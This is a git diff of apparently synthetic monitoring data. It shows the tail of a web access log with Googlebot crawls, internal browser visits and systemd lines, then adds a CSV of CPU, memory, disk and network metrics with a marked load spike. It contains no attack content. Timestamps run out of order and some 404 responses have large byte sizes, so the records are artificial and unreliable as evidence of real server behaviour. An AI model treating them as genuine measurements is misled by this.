- - [02/Jul/2025:12:02:37 +0000] "GET /products/2 HTTP/1.1" 200 48455 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:02:35 +0000] "GET /products/2 HTTP/1.1" 200 6047 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:35 +0000] "GET /products/1 HTTP/1.1" 200 28731 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 - - [02/Jul/2025:12:02:39 +0000] "GET /api/v1/data HTTP/1.1" 200 8613 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:02:36 +0000] "GET /index.html HTTP/1.1" 200 15301 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:37 +0000] "GET /products/2 HTTP/1.1" 200 6905 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.9 - - [02/Jul/2025:12:02:38 +0000] "GET /index.html HTTP/1.1" 200 41875 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.17 - - [02/Jul/2025:12:02:37 +0000] "GET /api/v1/data HTTP/1.1" 200 40906 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 - - [02/Jul/2025:12:02:36 +0000] "GET /contact HTTP/1.1" 200 46941 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:02:42 +0000] "GET /products/1 HTTP/1.1" 200 42157 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.17 - - [02/Jul/2025:12:02:42 +0000] "GET /products/2 HTTP/1.1" 200 19432 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.6 - - [02/Jul/2025:12:02:41 +0000] "GET /products/2 HTTP/1.1" 200 40382 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:02:42 +0000] "GET /products/2 HTTP/1.1" 200 46033 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.14 - - [02/Jul/2025:12:02:42 +0000] "GET /images/logo.png HTTP/1.1" 200 29555 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:44 +0000] "GET /products/2 HTTP/1.1" 200 49731 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.13 - - [02/Jul/2025:12:02:43 +0000] "GET /contact HTTP/1.1" 200 32735 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:02:43 +0000] "GET /api/v1/data HTTP/1.1" 200 48460 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.17 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/data HTTP/1.1" 200 37305 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.17 - - [02/Jul/2025:12:02:43 +0000] "GET /products/2 HTTP/1.1" 200 16983 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/data HTTP/1.1" 200 31517 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.6 - - [02/Jul/2025:12:02:42 +0000] "GET /products/2 HTTP/1.1" 200 22389 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:02:44 +0000] "GET /products/1 HTTP/1.1" 200 13864 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.6 - - [02/Jul/2025:12:02:42 +0000] "GET /products/2 HTTP/1.1" 200 10040 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:02:40 +0000] "GET /index.html HTTP/1.1" 200 38698 "-" "Googlebot/2.1 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.11 - - [02/Jul/2025:12:05:35 +0000] "GET /index.html HTTP/1.1" 200 39329 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.10 - - [02/Jul/2025:12:05:36 +0000] "GET /blog/post-101 HTTP/1.1" 200 19721 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.15 - - [02/Jul/2025:12:05:38 +0000] "GET /index.html HTTP/1.1" 200 7365 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:05:38 +0000] "GET /blog/post-101 HTTP/1.1" 200 27055 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:05:36 +0000] "GET /images/logo.png HTTP/1.1" 200 7323 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.4 - - [02/Jul/2025:12:05:39 +0000] "GET /products/2 HTTP/1.1" 200 7704 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.14 - - [02/Jul/2025:12:05:35 +0000] "GET /about HTTP/1.1" 200 22553 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.3 - - [02/Jul/2025:12:05:36 +0000] "GET /images/logo.png HTTP/1.1" 200 15810 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:05:39 +0000] "GET /products/2 HTTP/1.1" 200 5288 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.10 - - [02/Jul/2025:12:05:38 +0000] "GET /blog/post-101 HTTP/1.1" 200 29198 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:05:36 +0000] "GET /blog/post-101 HTTP/1.1" 200 43447 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:05:35 +0000] "GET /index.html HTTP/1.1" 200 41938 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.14 - - [02/Jul/2025:12:05:37 +0000] "GET /products/1 HTTP/1.1" 200 38717 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:05:39 +0000] "GET /api/v1/data HTTP/1.1" 200 22721 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:05:39 +0000] "GET /products/2 HTTP/1.1" 200 7830 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:05:35 +0000] "GET /products/2 HTTP/1.1" 200 15202 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.13 - - [02/Jul/2025:12:05:40 +0000] "GET /products/1 HTTP/1.1" 200 45718 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:05:44 +0000] "GET /products/1 HTTP/1.1" 200 39580 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.5 - - [02/Jul/2025:12:05:40 +0000] "GET /index.html HTTP/1.1" 200 12905 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:05:41 +0000] "GET /about HTTP/1.1" 200 30204 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.15 - - [02/Jul/2025:12:05:40 +0000] "GET /products/1 HTTP/1.1" 200 7599 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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"GET /contact HTTP/1.1" 200 11696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:05:41 +0000] "GET /api/v1/data HTTP/1.1" 200 10413 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:05:41 +0000] "GET /contact HTTP/1.1" 200 9302 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:05:40 +0000] "GET /contact HTTP/1.1" 200 20432 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.10 - - [02/Jul/2025:12:05:42 +0000] "GET /contact HTTP/1.1" 200 44415 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:05:40 +0000] "GET /products/1 HTTP/1.1" 200 6454 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.16 - - [02/Jul/2025:12:05:43 +0000] "GET /images/logo.png HTTP/1.1" 200 15270 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.11 - - [02/Jul/2025:12:05:46 +0000] "GET /about HTTP/1.1" 200 22086 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.5 - - [02/Jul/2025:12:05:46 +0000] "GET /api/v1/data HTTP/1.1" 200 32768 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.6 - - [02/Jul/2025:12:05:49 +0000] "GET /blog/post-101 HTTP/1.1" 200 39593 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:05:45 +0000] "GET /products/2 HTTP/1.1" 200 13652 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.17 - - [02/Jul/2025:12:05:46 +0000] "GET /index.html HTTP/1.1" 200 14466 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.15 - - [02/Jul/2025:12:05:45 +0000] "GET /products/1 HTTP/1.1" 200 15907 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.17 - - [02/Jul/2025:12:05:45 +0000] "GET /about HTTP/1.1" 200 5278 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.3 - - [02/Jul/2025:12:05:46 +0000] "GET /about HTTP/1.1" 200 7930 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.14 - - [02/Jul/2025:12:05:49 +0000] "GET /about HTTP/1.1" 200 26241 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.10 - - [02/Jul/2025:12:05:47 +0000] "GET /about HTTP/1.1" 200 40388 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:05:47 +0000] "GET /products/1 HTTP/1.1" 200 48494 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:05:45 +0000] "GET /about HTTP/1.1" 200 39061 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:05:47 +0000] "GET /contact HTTP/1.1" 200 19840 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.1 - - [02/Jul/2025:12:05:45 +0000] "GET /index.html HTTP/1.1" 200 35220 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.5 - - [02/Jul/2025:12:05:45 +0000] "GET /about HTTP/1.1" 200 36194 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.16 - - [02/Jul/2025:12:05:48 +0000] "GET /images/logo.png HTTP/1.1" 200 34542 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:05:47 +0000] "GET /contact HTTP/1.1" 200 22324 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:05:48 +0000] "GET /blog/post-101 HTTP/1.1" 200 38575 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.9 - - [02/Jul/2025:12:05:47 +0000] "GET /images/logo.png HTTP/1.1" 200 36771 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.15 - - [02/Jul/2025:12:05:47 +0000] "GET /about HTTP/1.1" 200 48250 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 - - [02/Jul/2025:12:05:46 +0000] "GET /products/1 HTTP/1.1" 200 21888 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.6 - - [02/Jul/2025:12:05:45 +0000] "GET /images/logo.png HTTP/1.1" 200 43174 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.4 - - [02/Jul/2025:12:05:46 +0000] "GET /contact HTTP/1.1" 200 10435 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +192.168.1.33 - - [02/Jul/2025:12:05:52 +0000] "GET /index.html HTTP/1.1" 200 5674 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:54 systemd[1]: Starting daily clean up activities... +192.168.1.142 - - [02/Jul/2025:12:05:52 +0000] "GET /products/1 HTTP/1.1" 301 11738 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.194 - - [02/Jul/2025:12:05:56 +0000] "GET /products/2 HTTP/1.1" 200 19558 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.114 - - [02/Jul/2025:12:06:01 +0000] "GET /api/v1/data HTTP/1.1" 404 3021 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.142 - - [02/Jul/2025:12:06:05 +0000] "GET /blog/post-101 HTTP/1.1" 404 2040 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.31 - - [02/Jul/2025:12:06:06 +0000] "GET /index.html HTTP/1.1" 200 9943 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.51 - - [02/Jul/2025:12:06:12 +0000] "GET /api/v1/data HTTP/1.1" 200 15149 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.63 - - [02/Jul/2025:12:06:12 +0000] "GET /blog/post-101 HTTP/1.1" 404 18827 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:16 systemd[1]: Starting daily clean up activities... +192.168.1.97 - - [02/Jul/2025:12:06:22 +0000] "GET /api/v1/data HTTP/1.1" 200 13447 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.15 - - [02/Jul/2025:12:06:24 +0000] "GET /contact HTTP/1.1" 200 3455 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.77 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/data HTTP/1.1" 200 16160 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.60 - - [02/Jul/2025:12:06:29 +0000] "GET /index.html HTTP/1.1" 301 11815 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 02 12:06:25 systemd[1]: Starting daily clean up activities... +192.168.1.54 - - [02/Jul/2025:12:06:33 +0000] "GET /about HTTP/1.1" 200 7963 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.37 - - [02/Jul/2025:12:06:30 +0000] "GET /blog/post-101 HTTP/1.1" 404 7518 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.49 - - [02/Jul/2025:12:06:31 +0000] "GET /contact HTTP/1.1" 404 14171 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.77 - - [02/Jul/2025:12:06:38 +0000] "GET /index.html HTTP/1.1" 200 17523 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.67 - - [02/Jul/2025:12:06:44 +0000] "GET /images/logo.png HTTP/1.1" 404 18529 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.134 - - [02/Jul/2025:12:06:48 +0000] "GET /blog/post-101 HTTP/1.1" 200 15039 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.50 - - [02/Jul/2025:12:06:45 +0000] "GET /contact HTTP/1.1" 200 3055 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.118 - - [02/Jul/2025:12:06:47 +0000] "GET /contact HTTP/1.1" 404 15521 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.63 - - [02/Jul/2025:12:06:51 +0000] "GET /images/logo.png HTTP/1.1" 200 7620 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.26 - - [02/Jul/2025:12:06:53 +0000] "GET /api/v1/data HTTP/1.1" 200 8059 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.80 - - [02/Jul/2025:12:06:59 +0000] "GET /products/1 HTTP/1.1" 301 17066 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.127 - - [02/Jul/2025:12:07:00 +0000] "GET /about HTTP/1.1" 301 8018 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.160 - - [02/Jul/2025:12:07:01 +0000] "GET /contact HTTP/1.1" 200 1856 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.58 - - [02/Jul/2025:12:07:02 +0000] "GET /products/2 HTTP/1.1" 200 17169 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.58 - - [02/Jul/2025:12:07:09 +0000] "GET /api/v1/data HTTP/1.1" 200 13016 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.79 - - [02/Jul/2025:12:07:05 +0000] "GET /images/logo.png HTTP/1.1" 404 4527 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:09 systemd[1]: Starting daily clean up activities... +192.168.1.162 - - [02/Jul/2025:12:07:11 +0000] "GET /about HTTP/1.1" 200 14799 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.55 - - [02/Jul/2025:12:07:12 +0000] "GET /about HTTP/1.1" 404 14386 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.117 - - [02/Jul/2025:12:07:11 +0000] "GET /products/2 HTTP/1.1" 200 7589 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.44 - - [02/Jul/2025:12:07:18 +0000] "GET /api/v1/data HTTP/1.1" 200 12543 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.59 - - [02/Jul/2025:12:07:24 +0000] "GET /index.html HTTP/1.1" 200 13101 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.71 - - [02/Jul/2025:12:07:23 +0000] "GET /products/2 HTTP/1.1" 200 17547 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.141 - - [02/Jul/2025:12:07:21 +0000] "GET /blog/post-101 HTTP/1.1" 200 2607 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.24 - - [02/Jul/2025:12:07:27 +0000] "GET /products/1 HTTP/1.1" 200 13091 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.64 - - [02/Jul/2025:12:07:29 +0000] "GET /products/1 HTTP/1.1" 200 19463 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.159 - - [02/Jul/2025:12:07:26 +0000] "GET /about HTTP/1.1" 301 6575 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_13.csv b/norm_dataset/scenario_8/norm_8_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..9d7dc96c2479bba898ab8f32be81a81875936887 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T10:00:00Z,18.07,37.38,22.85,1.09,1.38 +2025-08-20T10:00:05Z,17.43,36.24,30.43,1.74,1.16 +2025-08-20T10:00:10Z,16.18,41.58,34.29,1.01,1.81 +2025-08-20T10:00:15Z,15.58,41.58,25.93,1.7,1.7 +2025-08-20T10:00:20Z,18.87,37.99,29.14,1.46,1.3 +2025-08-20T10:00:25Z,18.07,36.73,35.78,1.52,1.42 +2025-08-20T10:00:30Z,18.33,35.99,24.84,1.52,1.51 +2025-08-20T10:00:35Z,14.1,38.54,24.86,1.71,1.23 +2025-08-20T10:00:40Z,14.85,43.92,25.62,1.27,1.26 +2025-08-20T10:00:45Z,12.26,42.89,29.26,1.11,1.78 +2025-08-20T10:00:50Z,19.66,44.88,27.38,1.02,1.26 +2025-08-20T10:00:55Z,13.18,41.51,26.72,1.18,2.0 +2025-08-20T10:01:00Z,18.11,39.2,34.74,1.81,1.62 +2025-08-20T10:01:05Z,17.68,37.0,37.39,1.31,1.59 +2025-08-20T10:01:10Z,16.17,35.53,28.88,1.54,1.33 +2025-08-20T10:01:15Z,15.2,40.91,38.21,1.74,1.95 +2025-08-20T10:01:20Z,17.83,41.48,20.67,1.02,1.3 +2025-08-20T10:01:25Z,15.3,40.44,24.89,1.23,1.16 +2025-08-20T10:01:30Z,11.63,42.98,31.75,1.92,1.9 +2025-08-20T10:01:35Z,17.31,36.9,29.54,1.4,1.55 +2025-08-20T10:01:40Z,12.14,36.8,28.39,1.12,1.95 +2025-08-20T10:01:45Z,16.84,36.0,39.32,1.05,1.62 +2025-08-20T10:01:50Z,13.55,41.14,39.75,1.03,1.73 +2025-08-20T10:01:55Z,12.3,41.69,30.47,1.09,1.31 +2025-08-20T10:02:00Z,14.81,39.99,20.69,1.23,1.67 +2025-08-20T10:02:05Z,17.92,37.82,22.54,1.67,1.55 +2025-08-20T10:02:10Z,17.7,40.44,21.46,1.35,1.39 +2025-08-20T10:02:15Z,15.89,37.26,28.72,1.64,1.45 +2025-08-20T10:02:20Z,10.36,35.22,34.08,1.49,1.79 +2025-08-20T10:02:25Z,15.73,35.02,29.45,1.53,1.91 +2025-08-20T10:02:30Z,71.15,50.0,140.87,66.29,43.56 +2025-08-20T10:02:35Z,86.51,44.71,133.31,68.88,48.09 +2025-08-20T10:02:40Z,75.2,49.88,120.09,64.4,46.6 +2025-08-20T10:02:45Z,82.31,49.02,148.14,64.92,39.71 +2025-08-20T10:02:50Z,77.02,45.49,80.46,65.23,30.4 +2025-08-20T10:02:55Z,77.83,49.37,129.44,77.07,46.99 +2025-08-20T10:03:00Z,72.0,41.15,116.57,51.66,55.04 +2025-08-20T10:03:05Z,88.67,46.17,147.99,66.66,43.54 +2025-08-20T10:03:10Z,93.56,40.17,121.49,60.84,51.87 +2025-08-20T10:03:15Z,74.89,42.2,80.54,69.91,53.46 +2025-08-20T10:03:20Z,85.56,49.53,138.2,63.91,43.12 +2025-08-20T10:03:25Z,79.83,53.27,96.28,62.47,31.08 +2025-08-20T10:03:30Z,74.84,46.2,115.57,75.99,55.33 +2025-08-20T10:03:35Z,93.79,44.77,86.37,66.88,36.98 +2025-08-20T10:03:40Z,88.87,43.46,138.41,62.08,36.8 +2025-08-20T10:03:45Z,94.28,46.34,113.79,68.72,59.85 +2025-08-20T10:03:50Z,86.66,46.21,87.43,52.12,38.9 +2025-08-20T10:03:55Z,79.32,42.03,118.48,57.25,50.59 +2025-08-20T10:04:00Z,76.9,42.15,117.29,65.65,53.74 +2025-08-20T10:04:05Z,77.47,41.57,133.99,56.4,36.91 +2025-08-20T10:04:10Z,75.18,49.87,90.54,66.81,39.32 +2025-08-20T10:04:15Z,80.45,43.38,92.99,72.69,51.57 +2025-08-20T10:04:20Z,84.21,48.95,124.65,71.91,40.93 +2025-08-20T10:04:25Z,85.77,50.41,121.68,65.42,52.31 +2025-08-20T10:04:30Z,70.49,46.67,127.56,68.92,53.89 +2025-08-20T10:04:35Z,77.51,51.94,119.0,63.9,42.38 +2025-08-20T10:04:40Z,74.1,45.53,101.59,77.57,38.93 +2025-08-20T10:04:45Z,92.61,46.07,91.89,61.02,50.87 +2025-08-20T10:04:50Z,90.94,44.05,89.12,73.09,56.78 +2025-08-20T10:04:55Z,85.67,50.13,91.27,79.06,42.66 +2025-08-20T10:05:00Z,10.11,38.08,30.05,1.29,1.52 +2025-08-20T10:05:05Z,17.73,40.62,20.4,1.59,1.6 +2025-08-20T10:05:10Z,15.28,44.31,26.67,1.3,1.15 +2025-08-20T10:05:15Z,15.39,44.67,22.0,1.65,1.77 +2025-08-20T10:05:20Z,11.82,43.15,31.34,1.74,1.64 +2025-08-20T10:05:25Z,11.73,36.48,39.08,1.01,1.22 +2025-08-20T10:05:30Z,19.01,44.07,32.83,1.96,1.07 +2025-08-20T10:05:35Z,13.15,39.39,23.59,1.09,1.96 +2025-08-20T10:05:40Z,13.98,35.01,30.35,1.02,1.57 +2025-08-20T10:05:45Z,19.93,44.85,29.39,1.35,1.66 +2025-08-20T10:05:50Z,17.71,39.35,24.32,1.65,1.66 +2025-08-20T10:05:55Z,12.55,44.38,21.65,1.53,1.67 +2025-08-20T10:06:00Z,13.44,35.89,38.27,1.6,1.11 +2025-08-20T10:06:05Z,16.5,44.04,27.06,1.48,1.96 +2025-08-20T10:06:10Z,19.69,39.26,38.62,1.72,1.69 +2025-08-20T10:06:15Z,16.37,36.52,37.77,1.49,1.19 +2025-08-20T10:06:20Z,14.07,36.28,30.98,1.99,1.55 +2025-08-20T10:06:25Z,12.63,39.21,37.76,1.61,1.93 +2025-08-20T10:06:30Z,12.11,39.22,30.09,1.06,1.16 +2025-08-20T10:06:35Z,10.95,41.2,22.15,1.77,1.04 +2025-08-20T10:06:40Z,16.65,39.17,20.5,1.43,1.35 +2025-08-20T10:06:45Z,17.45,37.0,39.63,1.36,1.76 